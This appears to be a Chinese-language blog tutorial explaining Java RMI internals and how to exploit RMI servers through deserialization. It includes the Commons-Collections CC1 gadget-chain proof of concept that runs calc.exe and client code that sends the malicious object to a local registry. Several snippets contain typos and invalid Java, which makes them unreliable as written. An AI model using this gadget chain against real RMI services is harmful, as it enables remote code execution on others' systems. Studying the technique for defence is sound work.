想学JDNI,那想必一定躲不过RMI。
RMI可以远程调用JVM对象并获取结果。所以需要一个server和一个client进行通信。
Server端会创建一个远程对象用于client端远程访问。
下面改造一张来自W3Cschool的图:
只需要知道:Client端使用stub来请求远程方法,而Server端用Skeleton来接收stub,然后将返回值传输给Client。
RMI server的构造需要:
一个远程接口rmidemo,rmidemo需要继承java.rmi.Remote接口,其中的方法还需要有serializable接口
public interface rmidemo extends Remote {
private static final long serialVersionUID = 6490921832856589236L;
public String hello() throws RemoteException{}
}
serialVersionUID是为了防止在序列化时导致版本冲突,所以序列化后UID不同会报异常
能被远程访问的类RmiObject(需要继承UnicastRemoteObject类),类必须实现rmidemo接口。
public class RmiObject extends UnicastRemoteObject implements rmidemo {
protected RmiObject() throws RemoteException {}
public String hello() throws RemoteException{}
}
注册远程对象(RMIRegistry):
public class server {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RmiObjct();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello
}
}
RMI Client。LocateRegistry.getRegistry进行连接,用到lookup()搜索对应方法,然后调用需要的远程方法:
public class clientdemo {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
// 利用注册表的代理去查询远程注册表中名为hello的对象
rmidemo hello = (rmidemo) registry.lookup("hello");
// 调用远程方法
System.out.println(hello.hello());
}
}
以上过程也可以用素十八大佬的一图概括:
以CC1链利用AnnotationInvocationHandler进行攻击为例:
CC1的POC为:
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = newChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("godown","buruheshen");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
}
当Server端存在远程接收Object对象时,可以发送序列化对象:
public interface rmidemo extends Remote {
void work(Object obj) throws RemoteException;
}
在Registry时,rebind会进行反序列化:
public class server {
public static void main(String[] args) throws RemoteException {
rmidemo user= new RmiObject();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}
所以把CC1构造的恶意对象,通过rmi协议连接到 接收对象的类,再向 接收对象的方法传恶意对象:
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(CommonsCollections1());
}
如果不想深入RMI的可以跳过这部分,直接看攻击。
在刚开始,我们定义了一个类rmiObject,它必须继承UnicastRemoteObject,那这个类有什么用?简而言之就是创建远程对象并put进ObjectTable+监听本地。
该类readObject调用reexport:
reexport又调用exportObject:
在reexport#exportObject中,如果没有UnicastServerRed参数会new UnicastServerRef()
,并且exportObject该对象(这里的export是UnicastRemoteRef的方法)。
UnicastServerRef的exportObject如下:
用到了Util.creatProxy()进行动态代理:
creatProxy使用RemoteObjectInvocationHandler,为rmidemo(远程接口)创建动态代理Proxy.newProxyInstance()
使用Target对象封装 远程方法 和生成的动态代理类。var6也就是stub
UnicastServerRef#this.ref.exportObject调用transport.liveRef的exportObject
跟进到liveRef#exportObject(),该exportObject指向了实现Endpoint接口的类,也就是TCPEndpoint()
TCPEndpoint#exportObject指向TCPTransport#exportObject
所以UnicastServerRef#this.ref.exportObject最终在TCPTransport#Object实现:负责监听本地端口
super.exportObject()调用继承方法,TCPTransport的父类是Transport。
Transport()#exportObject把Target放入ObjectTable,用于管理Target
在createProxy()中用到的RemoteObjectInvocationHandler动态代理,该类继承了RemoteObject并实现了InvocationHandler。所以该类可远程传输、可序列化。
LocateRegistry.createRegistry(1099)==new RegistryImpl(1099)
RegistryImpl调用了setup配置UnicastServerRef对象。
setup的exportObjec也是指向UnicastObjectRef类,exportObject依然是createProxy()创建动态代理。
不过由于最后一个参数为true,会调用UnicastServerRef#setSkeleton()
setSkeleton()执行Util#createSkeleton()创建skeleton:
createSkeleton()用forName和newInstance反射var2对象,var1初始来自RegistryImpl,拼接_Skel后就是返回RegistryImpl_Skel。
RegistryImpl_Skel类的dispatch会根据不同的写入操作switch不同的操作方式,比如bind就是case0。
后面的代码和Server一样,不过exportObject的对象从UnicastServerRef变成了RegistryImpl
上面的RMI攻击环境是 Server端有接收Object参数的方法。那没有这种方法,服务端接收的是Object的子类,比如HelloObject作为参数,而我们构造的恶意类必须要是Object,该怎么办?
先来了解一下UnicastServerRef的dispatch方法。在客户端lookup远程调用方法时,Registry端执行RegistryImpl_Skel类的dispatch方法,然后将结果writeObject到序列化流:
Client端获取到Registry端的序列化流后,进行反序列化。对其调用。
当Client端向Registry端请求远程对象时,lookup的值为2,Registry端使用RegistryImpl_Skel#dispatch
case2。
Server端则是根据UnicastServerRef#dispatch来 来处理客户端请求,在hashToMethod_Map中寻找Method的hash,
如果找到了就进行反射调用,
这里的hash算法是SHA1。所以让method_hash相同的情况下就能进行反射调用。在debug时RemoteObjectInvocationHandler的invokeRemoteMethod处下断点,将Method改为服务器需要的Method,hash就会跟着改变,但是恶意类已经生成。所以能攻击。